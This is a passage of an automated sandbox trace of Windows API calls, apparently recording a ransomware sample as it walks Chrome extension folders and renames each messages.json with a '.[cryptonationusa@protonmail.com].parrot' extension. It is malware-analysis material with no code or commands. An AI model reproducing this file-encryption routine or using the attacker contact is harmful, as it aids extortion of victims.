cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.757] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2da, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.757] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.757] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.758] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.758] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1c2, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x1c2, lpOverlapped=0x0) returned 1 [0071.758] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.758] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2da, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.758] CloseHandle (hObject=0x28c) returned 1 [0071.758] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.760] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.760] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb84003e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb84003e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.760] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f08770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb84003e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x2e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.760] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.761] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.761] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f07fa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f07fa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.761] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.761] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.761] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f08770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.762] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ed, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.762] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.762] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.763] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.763] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xd5, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xd5, lpOverlapped=0x0) returned 1 [0071.763] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.763] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ed, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.763] CloseHandle (hObject=0x28c) returned 1 [0071.763] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.765] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.765] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8426540, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8426540, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.765] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f08770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8426540, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.765] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.766] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.766] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f07fa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f07fa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.766] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.766] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.766] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f08770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.766] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1de, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.766] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.766] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.767] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.767] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xc6, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xc6, lpOverlapped=0x0) returned 1 [0071.767] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.767] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1de, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.767] CloseHandle (hObject=0x28c) returned 1 [0071.770] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.772] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.772] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8426540, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8426540, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.772] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f08770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8426540, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.772] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.772] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.772] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f07fa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f07fa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.772] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.772] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.772] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f08770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x183, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.773] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x29b, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.773] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.773] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.777] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.777] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x183, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x183, lpOverlapped=0x0) returned 1 [0071.777] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.777] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x29b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.777] CloseHandle (hObject=0x28c) returned 1 [0071.777] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.779] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.779] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb844c6a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb844c6a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.779] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f08770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb844c6a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x2a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.780] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.780] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.780] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f07fa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f07fa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.780] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.780] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.780] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f08770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x1c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.780] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2db, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.780] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.780] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.781] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.781] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1c3, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x1c3, lpOverlapped=0x0) returned 1 [0071.781] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.782] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2db, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.782] CloseHandle (hObject=0x28c) returned 1 [0071.782] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.784] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.784] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb844c6a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb844c6a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.784] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f08770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb844c6a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x2e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.784] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 